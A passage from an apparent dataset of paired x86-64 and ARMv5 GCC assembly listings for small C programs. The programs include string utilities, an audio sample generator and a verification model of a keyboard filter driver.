.size test_task_affinity, .-test_task_affinity
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "189850.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "skipped"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, .LC0[rip]
call puts@PLT
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "189850.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "skipped\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L3
bl puts
mov r3, #0
mov r0, r3
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "953971.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%[^\n]"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 24
.cfi_offset 3, -24
mov edi, 1024
call malloc@PLT
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov rax, QWORD PTR -24[rbp]
mov rdi, rax
call strlen@PLT
lea rdx, 1[rax]
mov rax, QWORD PTR -24[rbp]
mov rsi, rdx
mov rdi, rax
call realloc@PLT
mov QWORD PTR -24[rbp], rax
mov DWORD PTR -28[rbp], 0
jmp .L2
.L5:
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
cmp al, 32
jne .L3
mov edi, 10
call putchar@PLT
jmp .L4
.L3:
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
mov edi, eax
call putchar@PLT
.L4:
add DWORD PTR -28[rbp], 1
.L2:
mov eax, DWORD PTR -28[rbp]
movsx rbx, eax
mov rax, QWORD PTR -24[rbp]
mov rdi, rax
call strlen@PLT
cmp rbx, rax
jb .L5
mov eax, 0
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "953971.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%[^\012]\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r0, #1024
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r1, [fp, #-8]
ldr r0, .L7
bl __isoc99_scanf
ldr r0, [fp, #-8]
bl strlen
mov r3, r0
add r3, r3, #1
mov r1, r3
ldr r0, [fp, #-8]
bl realloc
str r0, [fp, #-8]
mov r3, #0
str r3, [fp, #-12]
b .L2
.L5:
ldr r3, [fp, #-12]
ldr r2, [fp, #-8]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #32
bne .L3
mov r0, #10
bl putchar
b .L4
.L3:
ldr r3, [fp, #-12]
ldr r2, [fp, #-8]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
bl putchar
.L4:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r0, [fp, #-8]
bl strlen
mov r2, r0
ldr r3, [fp, #-12]
cmp r2, r3
bhi .L5
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L8:
.align 2
.L7:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "547278.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%s"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 256
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov BYTE PTR -253[rbp], 97
mov DWORD PTR -248[rbp], 0
mov DWORD PTR -252[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -252[rbp]
mov edx, eax
movzx eax, BYTE PTR -253[rbp]
add eax, edx
mov edx, eax
mov eax, DWORD PTR -252[rbp]
cdqe
mov BYTE PTR -240[rbp+rax], dl
add DWORD PTR -252[rbp], 1
.L2:
cmp DWORD PTR -252[rbp], 25
jle .L3
lea rax, -208[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rax, -208[rbp]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -244[rbp], eax
mov DWORD PTR -252[rbp], 0
jmp .L4
.L5:
add DWORD PTR -252[rbp], 1
.L4:
mov eax, DWORD PTR -252[rbp]
cmp eax, DWORD PTR -244[rbp]
jl .L5
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L7
call __stack_chk_fail@PLT
.L7:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "547278.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%s\000"
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 248
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #248
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #97
strb r3, [fp, #-249]
mov r3, #0
str r3, [fp, #-244]
mov r3, #0
str r3, [fp, #-248]
b .L2
.L3:
ldr r3, [fp, #-248]
and r2, r3, #255
ldrb r3, [fp, #-249]
add r3, r2, r3
and r1, r3, #255
sub r2, fp, #236
ldr r3, [fp, #-248]
add r3, r2, r3
mov r2, r1
strb r2, [r3]
ldr r3, [fp, #-248]
add r3, r3, #1
str r3, [fp, #-248]
.L2:
ldr r3, [fp, #-248]
cmp r3, #25
ble .L3
sub r3, fp, #208
mov r1, r3
ldr r0, .L8+4
bl __isoc99_scanf
sub r3, fp, #208
mov r0, r3
bl strlen
mov r3, r0
str r3, [fp, #-240]
mov r3, #0
str r3, [fp, #-248]
b .L4
.L5:
ldr r3, [fp, #-248]
add r3, r3, #1
str r3, [fp, #-248]
.L4:
ldr r2, [fp, #-248]
ldr r3, [fp, #-240]
cmp r2, r3
blt .L5
mov r3, #0
ldr r2, .L8
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L7
bl __stack_chk_fail
.L7:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC1
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "248573.c"
.intel_syntax noprefix
.text
.globl fails
.bss
.align 4
.type fails, @object
.size fails, 4
fails:
.zero 4
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
call vector_1_x@PLT
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "248573.c"
.text
.comm fails,4,4
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl vector_1_x
mov r0, #0
bl exit
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "451341.c"
.intel_syntax noprefix
.text
.globl iSampleRate
.section .rodata
.align 4
.type iSampleRate, @object
.size iSampleRate, 4
iSampleRate:
.long 44100
.text
.globl sinco
.type sinco, @function
sinco:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov DWORD PTR -12[rbp], edx
mov QWORD PTR -24[rbp], rcx
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -4[rbp]
movsd xmm0, QWORD PTR .LC0[rip]
mulsd xmm1, xmm0
mov rax, QWORD PTR -24[rbp]
test rax, rax
js .L2
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
jmp .L3
.L2:
mov rdx, rax
shr rdx
and eax, 1
or rdx, rax
pxor xmm0, xmm0
cvtsi2sd xmm0, rdx
addsd xmm0, xmm0
.L3:
mulsd xmm0, xmm1
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -8[rbp]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call sin@PLT
mov eax, DWORD PTR -12[rbp]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
add eax, 1
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
mov eax, DWORD PTR -12[rbp]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
addsd xmm0, xmm1
cvttsd2si eax, xmm0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size sinco, .-sinco
.globl phaseindex
.type phaseindex, @function
phaseindex:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r12
push rbx
sub rsp, 16
.cfi_offset 12, -24
.cfi_offset 3, -32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
shr rax, 21
lea rdx, 1[rax]
mov rax, QWORD PTR -24[rbp]
shr rax, 16
and rax, QWORD PTR -24[rbp]
or rax, rdx
mov esi, 44100
mov rcx, rax
mov edx, 55000
mov edi, 42
call sinco
movzx ebx, ax
mov rax, QWORD PTR -24[rbp]
shr rax, 4
mov rsi, rax
mov rcx, QWORD PTR -24[rbp]
movabs rdx, 1713330243218011869
mov rax, rcx
mul rdx
mov rax, rdx
shr rax, 10
imul rdx, rax, 11025
mov rax, rcx
sub rax, rdx
and rax, rsi
sal rax, 4
shr rax, 2
mov r12, rax
mov rax, QWORD PTR -24[rbp]
and eax, 1
test rax, rax
je .L6
mov rax, QWORD PTR -24[rbp]
shr rax
mov rcx, rax
mov rax, QWORD PTR -24[rbp]
shr rax
shr rax, 9
and eax, 31
mov rdx, rax
mov rax, rdx
sal rax, 4
add rax, rdx
and rax, rcx
shr rax, 4
mov rsi, rax
jmp .L7
.L6:
mov esi, 512
.L7:
mov edi, 44100
mov rcx, QWORD PTR -24[rbp]
movabs rdx, 1713330243218011869
mov rax, rcx
mul rdx
mov rax, rdx
shr rax, 10
imul rdx, rax, 11025
mov rax, rcx
sub rax, rdx
test rax, rax
jne .L8
mov eax, 84
jmp .L9
.L8:
mov eax, 164
.L9:
mov rcx, rsi
mov edx, 65536
mov esi, edi
mov edi, eax
call sinco
movzx eax, ax
sub eax, 1
cdqe
xor rax, r12
or rax, rbx
add rsp, 16
pop rbx
pop r12
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size phaseindex, .-phaseindex
.globl main
.type main, @function
main:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -12[rbp], 21
mov WORD PTR -14[rbp], 0
mov QWORD PTR -8[rbp], 0
.L12:
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call phaseindex
mov rdx, rax
mov esi, 44100
mov eax, DWORD PTR -12[rbp]
mov rcx, rdx
mov edx, 65536
mov edi, eax
call sinco
mov WORD PTR -14[rbp], ax
movzx eax, WORD PTR -14[rbp]
movzx eax, al
mov edi, eax
call putchar@PLT
movzx eax, WORD PTR -14[rbp]
shr ax, 8
movzx eax, ax
movzx eax, al
mov edi, eax
call putchar@PLT
add QWORD PTR -8[rbp], 1
jmp .L12
.cfi_endproc
.LFE2:
.size main, .-main
.section .rodata
.align 8
.LC0:
.long 1413754136
.long 1075388923
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "451341.c"
.text
.global iSampleRate
.section .rodata
.align 2
.type iSampleRate, %object
.size iSampleRate, 4
iSampleRate:
.word 44100
.global __aeabi_i2d
.global __aeabi_dmul
.global __aeabi_ui2d
.global __aeabi_ddiv
.global __aeabi_dadd
.global __aeabi_d2uiz
.text
.align 2
.global sinco
.syntax unified
.arm
.fpu softvfp
.type sinco, %function
sinco:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
str r3, [fp, #-28]
ldr r0, [fp, #-16]
bl __aeabi_i2d
ldr r2, .L3
ldr r3, .L3+4
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r0, [fp, #-28]
bl __aeabi_ui2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r0, [fp, #-20]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sin
mov r4, r0
mov r5, r1
ldr r3, [fp, #-24]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
add r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-24]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2uiz
mov r3, r0
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L4:
.align 2
.L3:
.word 1413754136
.word 1075388923
.size sinco, .-sinco
.align 2
.global phaseindex
.syntax unified
.arm
.fpu softvfp
.type phaseindex, %function
phaseindex:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #8
str r0, [fp, #-16]
ldr r0, .L11
ldr r3, [fp, #-16]
lsr r3, r3, #21
add r2, r3, #1
ldr r3, [fp, #-16]
lsr r1, r3, #16
ldr r3, [fp, #-16]
and r3, r3, r1
orr r3, r2, r3
ldr r2, .L11+4
mov r1, r0
mov r0, #42
bl sinco
mov r3, r0
mov r5, r3
ldr r3, [fp, #-16]
lsr r0, r3, #4
ldr r1, [fp, #-16]
ldr r3, .L11+8
umull r2, r3, r1, r3
lsr r2, r3, #13
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r2, r3, #2
add r3, r3, r2
lsl r2, r3, #3
sub r2, r2, r3
lsl r3, r2, #6
sub r3, r3, r2
sub r2, r1, r3
and r3, r0, r2
lsl r3, r3, #4
lsr r4, r3, #2
ldr r1, [fp, #-16]
ldr r3, .L11+8
umull r2, r3, r1, r3
lsr r2, r3, #13
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r2, r3, #2
add r3, r3, r2
lsl r2, r3, #3
sub r2, r2, r3
lsl r3, r2, #6
sub r3, r3, r2
sub r2, r1, r3
cmp r2, #0
bne .L6
mov r0, #84
b .L7
.L6:
mov r0, #164
.L7:
ldr ip, .L11
ldr r3, [fp, #-16]
and r3, r3, #1
cmp r3, #0
beq .L8
ldr r3, [fp, #-16]
lsr r1, r3, #1
ldr r3, [fp, #-16]
lsr r3, r3, #1
lsr r3, r3, #9
and r2, r3, #31
mov r3, r2
lsl r3, r3, #4
add r3, r3, r2
and r3, r3, r1
lsr r3, r3, #4
b .L9
.L8:
mov r3, #512
.L9:
mov r2, #65536
mov r1, ip
bl sinco
mov r3, r0
sub r3, r3, #1
eor r3, r3, r4
orr r3, r5, r3
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L12:
.align 2
.L11:
.word 44100
.word 55000
.word -1103641029
.size phaseindex, .-phaseindex
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #20
mov r3, #21
str r3, [fp, #-16]
mov r3, #0
strh r3, [fp, #-22] @ movhi
mov r3, #0
str r3, [fp, #-20]
.L14:
ldr r4, .L15
ldr r0, [fp, #-20]
bl phaseindex
mov r3, r0
mov r2, #65536
mov r1, r4
ldr r0, [fp, #-16]
bl sinco
mov r3, r0
strh r3, [fp, #-22] @ movhi
ldrh r3, [fp, #-22]
and r3, r3, #255
mov r0, r3
bl putchar
ldrh r3, [fp, #-22]
lsr r3, r3, #8
lsl r3, r3, #16
lsr r3, r3, #16
and r3, r3, #255
mov r0, r3
bl putchar
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
b .L14
.L16:
.align 2
.L15:
.word 44100
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "951422.c"
.intel_syntax noprefix
.text
.globl KernelMode
.bss
.align 4
.type KernelMode, @object
.size KernelMode, 4
KernelMode:
.zero 4
.globl Executive
.align 4
.type Executive, @object
.size Executive, 4
Executive:
.zero 4
.globl DevicePowerState
.align 4
.type DevicePowerState, @object
.size DevicePowerState, 4
DevicePowerState:
.zero 4
.globl s
.align 4
.type s, @object
.size s, 4
s:
.zero 4
.globl UNLOADED
.align 4
.type UNLOADED, @object
.size UNLOADED, 4
UNLOADED:
.zero 4
.globl NP
.align 4
.type NP, @object
.size NP, 4
NP:
.zero 4
.globl DC
.align 4
.type DC, @object
.size DC, 4
DC:
.zero 4
.globl SKIP1
.align 4
.type SKIP1, @object
.size SKIP1, 4
SKIP1:
.zero 4
.globl SKIP2
.align 4
.type SKIP2, @object
.size SKIP2, 4
SKIP2:
.zero 4
.globl MPR1
.align 4
.type MPR1, @object
.size MPR1, 4
MPR1:
.zero 4
.globl MPR3
.align 4
.type MPR3, @object
.size MPR3, 4
MPR3:
.zero 4
.globl IPC
.align 4
.type IPC, @object
.size IPC, 4
IPC:
.zero 4
.globl pended
.align 4
.type pended, @object
.size pended, 4
pended:
.zero 4
.globl compFptr
.align 4
.type compFptr, @object
.size compFptr, 4
compFptr:
.zero 4
.globl compRegistered
.align 4
.type compRegistered, @object
.size compRegistered, 4
compRegistered:
.zero 4
.globl lowerDriverReturn
.align 4
.type lowerDriverReturn, @object
.size lowerDriverReturn, 4
lowerDriverReturn:
.zero 4
.globl setEventCalled
.align 4
.type setEventCalled, @object
.size setEventCalled, 4
setEventCalled:
.zero 4
.globl customIrp
.align 4
.type customIrp, @object
.size customIrp, 4
customIrp:
.zero 4
.globl myStatus
.align 4
.type myStatus, @object
.size myStatus, 4
myStatus:
.zero 4
.text
.globl stub_driver_init
.type stub_driver_init, @function
stub_driver_init:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR NP[rip]
mov DWORD PTR s[rip], eax
mov DWORD PTR pended[rip], 0
mov DWORD PTR compFptr[rip], 0
mov DWORD PTR compRegistered[rip], 0
mov DWORD PTR lowerDriverReturn[rip], 0
mov DWORD PTR setEventCalled[rip], 0
mov DWORD PTR customIrp[rip], 0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size stub_driver_init, .-stub_driver_init
.globl _BLAST_init
.type _BLAST_init, @function
_BLAST_init:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR UNLOADED[rip], 0
mov DWORD PTR NP[rip], 1
mov DWORD PTR DC[rip], 2
mov DWORD PTR SKIP1[rip], 3
mov DWORD PTR SKIP2[rip], 4
mov DWORD PTR MPR1[rip], 5
mov DWORD PTR MPR3[rip], 6
mov DWORD PTR IPC[rip], 7
mov eax, DWORD PTR UNLOADED[rip]
mov DWORD PTR s[rip], eax
mov DWORD PTR pended[rip], 0
mov DWORD PTR compFptr[rip], 0
mov DWORD PTR compRegistered[rip], 0
mov DWORD PTR lowerDriverReturn[rip], 0
mov DWORD PTR setEventCalled[rip], 0
mov DWORD PTR customIrp[rip], 0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size _BLAST_init, .-_BLAST_init
.globl KbFilter_PnP
.type KbFilter_PnP, @function
KbFilter_PnP:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov DWORD PTR -100[rbp], edi
mov DWORD PTR -104[rbp], esi
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -84[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -80[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -76[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -72[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -68[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -64[rbp], eax
mov DWORD PTR -88[rbp], 0
mov eax, DWORD PTR -80[rbp]
mov DWORD PTR -60[rbp], eax
mov eax, DWORD PTR -76[rbp]
mov DWORD PTR -56[rbp], eax
cmp DWORD PTR -72[rbp], 0
je .L47
cmp DWORD PTR -72[rbp], 23
je .L48
cmp DWORD PTR -72[rbp], 2
je .L49
cmp DWORD PTR -72[rbp], 1
je .L50
cmp DWORD PTR -72[rbp], 5
je .L51
cmp DWORD PTR -72[rbp], 3
je .L52
cmp DWORD PTR -72[rbp], 6
je .L53
cmp DWORD PTR -72[rbp], 13
je .L54
cmp DWORD PTR -72[rbp], 4
je .L55
cmp DWORD PTR -72[rbp], 7
je .L56
cmp DWORD PTR -72[rbp], 8
je .L57
cmp DWORD PTR -72[rbp], 9
je .L58
cmp DWORD PTR -72[rbp], 12
je .L59
cmp DWORD PTR -72[rbp], 10
je .L60
cmp DWORD PTR -72[rbp], 11
je .L61
cmp DWORD PTR -72[rbp], 15
je .L62
cmp DWORD PTR -72[rbp], 16
je .L63
cmp DWORD PTR -72[rbp], 17
je .L64
cmp DWORD PTR -72[rbp], 18
je .L65
cmp DWORD PTR -72[rbp], 19
je .L66
cmp DWORD PTR -72[rbp], 20
jmp .L13
.L47:
nop
.L7:
mov eax, DWORD PTR -76[rbp]
mov DWORD PTR -44[rbp], eax
mov eax, DWORD PTR -76[rbp]
sub eax, 1
mov DWORD PTR -40[rbp], eax
mov DWORD PTR -36[rbp], 0
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
je .L31
call errorFn
jmp .L32
.L31:
mov eax, DWORD PTR compRegistered[rip]
test eax, eax
je .L33
call errorFn
jmp .L32
.L33:
mov DWORD PTR compRegistered[rip], 1
.L32:
mov eax, DWORD PTR -76[rbp]
sub eax, 1
mov DWORD PTR -32[rbp], eax
mov eax, DWORD PTR -84[rbp]
mov DWORD PTR -28[rbp], eax
mov DWORD PTR -24[rbp], 224
mov edx, DWORD PTR -104[rbp]
mov eax, DWORD PTR -68[rbp]
mov esi, edx
mov edi, eax
call IofCallDriver
mov DWORD PTR -88[rbp], eax
mov eax, DWORD PTR -88[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 259
jne .L34
mov edx, DWORD PTR KernelMode[rip]
mov esi, DWORD PTR Executive[rip]
mov eax, DWORD PTR -84[rbp]
mov r8d, 0
mov ecx, 0
mov edi, eax
call KeWaitForSingleObject
.L34:
cmp DWORD PTR -88[rbp], 0
js .L35
mov eax, DWORD PTR myStatus[rip]
test eax, eax
js .L35
mov DWORD PTR -20[rbp], 1
mov DWORD PTR -52[rbp], 0
mov DWORD PTR -48[rbp], 0
.L35:
mov eax, DWORD PTR -88[rbp]
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -88[rbp]
mov DWORD PTR myStatus[rip], eax
mov DWORD PTR -12[rbp], 0
mov eax, DWORD PTR -104[rbp]
mov esi, 0
mov edi, eax
call IofCompleteRequest
jmp .L36
.L48:
nop
.L9:
mov DWORD PTR -48[rbp], 1
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L37
mov eax, DWORD PTR SKIP1[rip]
mov DWORD PTR s[rip], eax
jmp .L38
.L37:
call errorFn
.L38:
add DWORD PTR -64[rbp], 1
add DWORD PTR -76[rbp], 1
mov edx, DWORD PTR -104[rbp]
mov eax, DWORD PTR -68[rbp]
mov esi, edx
mov edi, eax
call IofCallDriver
mov DWORD PTR -88[rbp], eax
jmp .L36
.L49:
nop
.L11:
mov DWORD PTR -52[rbp], 1
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L39
mov eax, DWORD PTR SKIP1[rip]
mov DWORD PTR s[rip], eax
jmp .L40
.L39:
call errorFn
.L40:
add DWORD PTR -64[rbp], 1
add DWORD PTR -76[rbp], 1
mov edx, DWORD PTR -104[rbp]
